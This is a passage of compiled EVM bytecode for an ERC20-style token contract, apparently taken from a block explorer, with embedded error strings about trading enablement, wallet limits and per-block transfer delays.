5f806040838503121561396a57613969613489565b5b5f6139778582860161350a565b92505060206139888582860161350a565b9150509250929050565b5f80604083850312156139a8576139a7613489565b5b5f6139b5858286016134d7565b92505060206139c6858286016134d7565b9150509250929050565b5f819050919050565b5f6139f36139ee6139e984613491565b6139d0565b613491565b9050919050565b5f613a04826139d9565b9050919050565b5f613a15826139fa565b9050919050565b613a2581613a0b565b82525050565b5f602082019050613a3e5f830184613a1c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680613a8857607f821691505b602082108103613a9b57613a9a613a44565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613ad56020836133e0565b9150613ae082613aa1565b602082019050919050565b5f6020820190508181035f830152613b0281613ac9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f613b636028836133e0565b9150613b6e82613b09565b604082019050919050565b5f6020820190508181035f830152613b9081613b57565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613bce826134eb565b9150613bd9836134eb565b9250828203905081811115613bf157613bf0613b97565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f613c2e826134eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c6057613c5f613b97565b5b600182019050919050565b5f613c75826134eb565b9150613c80836134eb565b9250828201905080821115613c9857613c97613b97565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115613cf357808604811115613ccf57613cce613b97565b5b6001851615613cde5780820291505b8081029050613cec85613c9e565b9450613cb3565b94509492505050565b5f82613d0b5760019050613dc6565b81613d18575f9050613dc6565b8160018114613d2e5760028114613d3857613d67565b6001915050613dc6565b60ff841115613d4a57613d49613b97565b5b8360020a915084821115613d6157613d60613b97565b5b50613dc6565b5060208310610133831016604e8410600b8410161715613d9c5782820a905083811115613d9757613d96613b97565b5b613dc6565b613da98484846001613caa565b92509050818404811115613dc057613dbf613b97565b5b81810290505b9392505050565b5f613dd7826134eb565b9150613de2836137e3565b9250613e0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613cfc565b905092915050565b5f613e21826134eb565b9150613e2c836134eb565b9250828202613e3a816134eb565b91508282048414831517613e5157613e50613b97565b5b5092915050565b7f54726164696e6720697320616c726561647920656e61626c65640000000000005f82015250565b5f613e8c601a836133e0565b9150613e9782613e58565b602082019050919050565b5f6020820190508181035f830152613eb981613e80565b9050919050565b5f604082019050613ed35f8301856138d2565b613ee060208301846135e4565b9392505050565b5f81519050613ef58161358f565b92915050565b5f60208284031215613f1057613f0f613489565b5b5f613f1d84828501613ee7565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613f806025836133e0565b9150613f8b82613f26565b604082019050919050565b5f6020820190508181035f830152613fad81613f74565b9050919050565b7f43616e2774206368616e6765207768656e2074726164696e67206861732073745f8201527f6172746564000000000000000000000000000000000000000000000000000000602082015250565b5f61400e6025836133e0565b915061401982613fb4565b604082019050919050565b5f6020820190508181035f83015261403b81614002565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61409c6026836133e0565b91506140a782614042565b604082019050919050565b5f6020820190508181035f8301526140c981614090565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61412a6024836133e0565b9150614135826140d0565b604082019050919050565b5f6020820190508181035f8301526141578161411e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6141b86022836133e0565b91506141c38261415e565b604082019050919050565b5f6020820190508181035f8301526141e5816141ac565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6142466029836133e0565b9150614251826141ec565b604082019050919050565b5f6020820190508181035f8301526142738161423a565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f6142ae6013836133e0565b91506142b98261427a565b602082019050919050565b5f6020820190508181035f8301526142db816142a2565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d69745f82015250565b5f6143166020836133e0565b9150614321826142e2565b602082019050919050565b5f6020820190508181035f8301526143438161430a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f614381826134eb565b915061438c836134eb565b92508261439c5761439b61434a565b5b828204905092915050565b7f5472616e736665722044656c617920656e61626c65642e20204f6e6c79206f6e5f8201527f652070757263686173652070657220626c6f636b20616c6c6f7765642e000000602082015250565b5f614401603d836133e0565b915061440c826143a7565b604082019050919050565b5f6020820190508181035f83015261442e816143f5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61448f6025836133e0565b915061449a82614435565b604082019050919050565b5f6020820190508181035f8301526144bc81614483565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61451d6023836133e0565b9150614528826144c3565b604082019050919050565b5f6020820190508181035f83015261454a81614511565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6145ab6026836133e0565b91506145b682614551565b604082019050919050565b5f6020820190508181035f8301526145d88161459f565b9050919050565b5f815190506145ed816134c1565b92915050565b5f6020828403121561460857614607613489565b5b5f614615848285016145df565b91505092915050565b5f819050919050565b5f61464161463c6146378461461e565b6139d0565b6134eb565b9050919050565b61465181614627565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b614689816134b0565b82525050565b5f61469a8383614680565b60208301905092915050565b5f602082019050919050565b5f6146bc82614657565b6146c68185614661565b93506146d183614671565b805f5b838110156147015781516146e8888261468f565b97506146f3836146a6565b9250506001810190506146d4565b5085935050505092915050565b5f60a0820190506147215f8301886135e4565b61472e6020830187614648565b818103604083015261474081866146b2565b905061474f60608301856138d2565b61475c60808301846135e4565b9695505050505050565b5f60c0820190506147795f8301896138d2565b61478660208301886135e4565b6147936040830187614648565b6147a06060830186614648565b6147ad60808301856138d2565b6147ba60a08301846135e4565b979650505050505050565b5f815190506147d3816134f4565b92915050565b5f805f606084860312156147f0576147ef613489565b5b5f6147fd868287016147c5565b935050602061480e868287016147c5565b925050604061481f868287016147c5565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f61485d601d836133e0565b915061486882614829565b602082019050919050565b5f6020820190508181035f83015261488a81614851565b9050919050565b5f81905092915050565b50565b5f6148a95f83614891565b91506148b48261489b565b5f82019050919050565b5f6148c88261489e565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f61492c603a836133e0565b9150614937826148d2565b604082019050919050565b5f6020820190508181035f83015261495981614920565b905091905056fea26469706673582212207479fde7678e790aa11021cc9021b242391f4dc67924a2fbce9242c41adeee1864736f6c634300081400330000000000000000000000002d57d593a1c41016f3d9d1a477cf8cda346dfa100000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061023e575f3560e01c80638a8c523c1161012d578063c2b7bbb6116100aa578063f2fde38b1161006e578063f2fde38b14610866578063f52be97c1461088e578063f570d4de146108b6578063f66895a3146108de578063f887ea401461090957610245565b8063c2b7bbb614610776578063c5d32bb21461079e578063d695609b146107da578063dd62ed3e14610802578063edaa11681461083e57610245565b8063a457c2d7116100f1578063a457c2d714610684578063a8aa1b31146106c0578063a9059cbb146106ea578063a9ddeaa214610726578063aacebbe31461074e57610245565b80638a8c523c146105ca5780638cd4426d146105e05780638da5cb5b1461060857806395d89b41146106325780639e252f001461065c57610245565b80634324deae116101bb578063715018a61161017f578063715018a61461050f578063728f8eea14610525578063832c2bd2146105505780638514022d1461057857806385141a77146105a057610245565b80634324deae1461042f5780634ada218b146104575780635dbdb7e31461048157806366a88d96146104a957806370a08231146104d357610245565b8063251ef09511610202578063251ef0951461033d578063313ce56714610365578063395093511461038f5780633dddc9ea146103cb57806342b6fa111461040757610245565b806306fdde0314610249578063095ea7b3146102735780631340538f146102af57806318160ddd146102d757806323b872dd1461030157610245565b3661024557005b5f80fd5b348015610254575f80fd5b5061025d610933565b60405161026a9190613460565b60405180910390f35b34801561027e575f80fd5b506102996004803603810190610294919061351e565b6109c3565b6040516102a69190613576565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906135b9565b6109e0565b005b3480156102e2575f80fd5b506102eb610a79565b6040516102f891906135f3565b60405180910390f35b34801561030c575f80fd5b506103276004803603810190610322919061360c565b610a82565b6040516103349190613576565b60405180910390f35b348015610348575f80fd5b50610363600480360381019061035e919061379c565b610b7d565b005b348015610370575f80fd5b50610379610c89565b60405161038691906137fe565b60405180910390f35b34801561039a575f80fd5b506103b560048036038101906103b0919061351e565b610c91565b6040516103c29190613576565b60405180910390f35b3480156103d6575f80fd5b506103f160048036038101906103ec9190613817565b610d38565b6040516103fe9190613576565b60405180910390f35b348015610412575f80fd5b5061042d60048036038101906104289190613842565b610d8a565b005b34801561043a575f80fd5b5061045560048036038101906104509190613842565b610e2e565b005b348015610462575f80fd5b5061046b610ed2565b6040516104789190613576565b60405180910390f35b34801561048c575f80fd5b506104a760048036038101906104a29190613817565b610ee5565b005b3480156104b4575f80fd5b506104bd610fb9565b6040516104ca91906135f3565b60405180910390f35b3480156104de575f80fd5b506104f960048036038101906104f49190613817565b610fbf565b60405161050691906135f3565b60405180910390f35b34801561051a575f80fd5b50610523611004565b005b348015610530575f80fd5b50610539611142565b60405161054792919061386d565b60405180910390f35b34801561055b575f80fd5b5061057660048036038101906105719190613817565b611153565b005b348015610583575f80fd5b5061059e60048036038101906105999190613894565b611226565b005b3480156105ab575f80fd5b506105b46112fa565b6040516105c191906138e1565b60405180910390f35b3480156105d5575f80fd5b506105de611300565b005b3480156105eb575f80fd5b506106066004803603810190610601919061351e565b61140b565b005b348015610613575f80fd5b5061061c61150e565b60405161062991906138e1565b60405180910390f35b34801561063d575f80fd5b50610646611536565b6040516106539190613460565b60405180910390f35b348015610667575f80fd5b50610682600480360381019061067d9190613842565b6115c6565b005b34801561068f575f80fd5b506106aa60048036038101906106a5919061351e565b611690565b6040516106b79190613576565b60405180910390f35b3480156106cb575f80fd5b506106d461177f565b6040516106e191906138e1565b60405180910390f35b3480156106f5575f80fd5b50610710600480360381019061070b919061351e565b6117a4565b60405161071d9190613576565b60405180910390f35b348015610731575f80fd5b5061074c600480360381019061074791906138fa565b6117ba565b005b348015610759575f80fd5b50610774600480360381019061076f9190613817565b6118c7565b005b348015610781575f80fd5b5061079c60048036038101906107979190613817565b611986565b005b3480156107a9575f80fd5b506107c460048036038101906107bf9190613817565b611abb565b6040516107d19190613576565b60405180910390f35b3480156107e5575f80fd5b5061080060048036038101906107fb9190613954565b611ad8565b005b34801561080d575f80fd5b5061082860048036038101906108239190613992565b611b84565b60405161083591906135f3565b60405180910390f35b348015610849575f80fd5b50610864600480360381019061085f9190613842565b611c06565b005b348015610871575f80fd5b5061088c60048036038101906108879190613817565b611cdc565b005b348015610899575f80fd5b506108b460048036038101906108af9190613954565b611dd2565b005b3480156108c1575f80fd5b506108dc60048036038101906108d7919061379c565b611e7e565b005b3480156108e9575f80fd5b506108f2611f8b565b60405161090092919061386d565b60405180910390f35b348015610914575f80fd5b5061091d611f9c565b60405161092a9190613a2b565b60405180910390f35b60606003805461094290613a71565b80601f016020809104026020016040519081016040528092919081815260200182805461096e90613a71565b80156109b95780601f10610990576101008083540402835291602001916109b9565b820191905f5260205f20905b81548152906001019060200180831161099c57829003601f168201915b5050505050905090565b5f6109d66109cf611fc1565b8484611fc8565b6001905092915050565b6109e8611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610a0661218b565b73ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5390613aeb565b60405180910390fd5b80600860156101000a81548160ff02191690831515021790555050565b5f600254905090565b5f610a8e84848461219e565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ad5611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b90613b79565b60405180910390fd5b610b7185610b60611fc1565b8584610b6c9190613bc4565b611fc8565b60019150509392505050565b610b85611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610ba361218b565b73ffffffffffffffffffffffffffffffffffffffff1614610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf090613aeb565b60405180910390fd5b5f5b8151811015610c85575f60165f848481518110610c1b57610c1a613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610c7d90613c24565b915050610bfb565b5050565b5f6009905090565b5f610d2e610c9d611fc1565b848460015f610caa611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d299190613c6b565b611fc8565b6001905092915050565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610d92611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610db061218b565b73ffffffffffffffffffffffffffffffffffffffff1614610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90613aeb565b60405180910390fd5b610e0e610c89565b600a610e1a9190613dcd565b81610e259190613e17565b600a8190555050565b610e36611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610e5461218b565b73ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190613aeb565b60405180910390fd5b610eb2610c89565b600a610ebe9190613dcd565b81610ec99190613e17565b600b8190555050565b600860169054906101000a900460ff1681565b610eed611fc1565b73ffffffffffffffffffffffffffffffffffffffff16610f0b61218b565b73ffffffffffffffffffffffffffffffffffffffff1614610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890613aeb565b60405180910390fd5b600160165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600b5481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61100c611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661102a61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790613aeb565b60405180910390fd5b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6013805f0154908060010154905082565b61115b611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661117961218b565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613aeb565b60405180910390fd5b5f60165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b61122e611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661124c61218b565b73ffffffffffffffffffffffffffffffffffffffff16146112a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129990613aeb565b60405180910390fd5b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b61dead81565b611308611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661132661218b565b73ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613aeb565b60405180910390fd5b600860169054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390613ea2565b60405180910390fd5b6001600860166101000a81548160ff0219169083151502179055506001600860156101000a81548160ff02191690831515021790555043600c81905550565b611413611fc1565b73ffffffffffffffffffffffffffffffffffffffff1661143161218b565b73ffffffffffffffffffffffffffffffffffffffff1614611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90613aeb565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114ab61150e565b836040518363ffffffff1660e01b81526004016114c9929190613ec0565b6020604051808303815f875af11580156114e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115099190613efb565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461154590613a71565b80601f016020809104026020016040519081016040528092919081815260200182805461157190613a71565b80156115bc5780601f10611593576101008083540402835291602001916115bc565b820191905f5260205f20905b81548152906001019060200180831161159f57829003601f168201915b5050505050905090565b6115ce611fc1565b73ffffffffffffffffffffffffffffffffffffffff166115ec61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163990613aeb565b60405180910390fd5b61164a61150e565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561168c573d5f803e3d5ffd5b5050565b5f8060015f61169d611fc1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e90613f96565b60405180910390fd5b611774611762611fc1565b85858461176f9190613bc4565b611fc8565b600191505092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6117b033848461219e565b6001905092915050565b6117c2611fc1565b73ffffffffffffffffffffffffffffffffffffffff166117e061218b565b73ffffffffffffffffffffffffffffffffffffffff1614611836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182d90613aeb565b60405180910390fd5b5f5b82518110156118c2578160155f85848151811061185857611857613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806118ba90613c24565b915050611838565b505050565b6118cf611fc1565b73ffffffffffffffffffffffffffffffffffffffff166118ed61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90613aeb565b60405180910390fd5b8060105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61198e611fc1565b73ffffffffffffffffffffffffffffffffffffffff166119ac61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f990613aeb565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160165f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6016602052805f5260405f205f915054906101000a900460ff1681565b611ae0611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611afe61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4b90613aeb565b60405180910390fd5b60405180604001604052808381526020018281525060135f820151815f0155602082015181600101559050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611c0e611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611c2c61218b565b73ffffffffffffffffffffffffffffffffffffffff1614611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7990613aeb565b60405180910390fd5b600860169054906101000a900460ff1615611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990614024565b60405180910390fd5b80600d8190555050565b611ce4611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611d0261218b565b73ffffffffffffffffffffffffffffffffffffffff1614611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90613aeb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd906140b2565b60405180910390fd5b611dcf816129b6565b50565b611dda611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611df861218b565b73ffffffffffffffffffffffffffffffffffffffff1614611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590613aeb565b60405180910390fd5b60405180604001604052808381526020018281525060115f820151815f0155602082015181600101559050505050565b611e86611fc1565b73ffffffffffffffffffffffffffffffffffffffff16611ea461218b565b73ffffffffffffffffffffffffffffffffffffffff1614611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef190613aeb565b60405180910390fd5b5f5b8151811015611f8757600160165f848481518110611f1d57611f1c613bf7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080611f7f90613c24565b915050611efc565b5050565b6011805f0154908060010154905082565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614140565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b906141ce565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161217e91906135f3565b60405180910390a3505050565b5f80612195612a79565b90508091505090565b5f81116121e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d79061425c565b60405180910390fd5b4360095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122c0575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561231557600860169054906101000a900460ff16612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230b906142c4565b60405180910390fd5b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123b8575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156123d15750600860149054906101000a900460ff16155b1561242f57600b54816123e384610fbf565b6123ed9190613c6b565b111561242e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124259061432c565b60405180910390fd5b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156124d3575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612526575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561253f5750600860149054906101000a900460ff16155b156125f25760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146125f157600b54816125a584610fbf565b6125af9190613c6b565b11156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e79061432c565b60405180910390fd5b5b5b5f805f6125fd6133be565b5f60165f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561269c575060165f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126b65750600d54600c546126b39190613c6b565b43105b905060155f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156127115761271088612b1d565b5b600860149054906101000a900460ff1680612772575060165f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806127c3575060165f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156127d0575f92506128ca565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614801561282a575080155b156128705760115f01546011600101546128449190613c6b565b945084935060116040518060400160405290815f820154815260200160018201548152505091506128c9565b806128b65760135f015460136001015461288a9190613c6b565b945084935060136040518060400160405290815f820154815260200160018201548152505091506128c8565b80156128c757600e549450600e5493505b5b5b5b606484876128d89190613e17565b6128e29190614377565b9250600860159054906101000a900460ff16801561294d575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b1561295d5761295c8583612ba5565b5b6129738888858961296e9190613bc4565b612d3a565b5f8311156129ac575f8511156129ab575f606486886129929190613e17565b61299c9190614377565b90506129a9893083612d3a565b505b5b5050505050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612af55760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b18565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b612b6360095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612fad565b612ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9990614417565b60405180910390fd5b50565b600860149054906101000a900460ff16612d36576001600860146101000a81548160ff0219169083151502179055505f820315612d1b575f612be630610fbf565b9050600a548110612d19576001600a541115612c0257600a5490505b5f600284612c109190613e17565b90505f81846020015184612c249190613e17565b612c2e9190614377565b90505f8184612c3d9190613bc4565b90505f479050612c4c82612fb8565b5f8147612c599190613bc4565b90505f876020015186612c6c9190613bc4565b82612c779190614377565b90505f886020015182612c8a9190613e17565b90505f811115612c9f57612c9e86826131ee565b5b5f895f0151600284612cb19190613e17565b612cbb9190613e17565b90505f811115612d1057612d0f8160105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166132c990919063ffffffff16565b5b50505050505050505b505b5f600860146101000a81548160ff0219169083151502179055505b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9f906144a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90614533565b60405180910390fd5b612e218383836133b9565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9b906145c1565b60405180910390fd5b8181612eb09190613bc4565b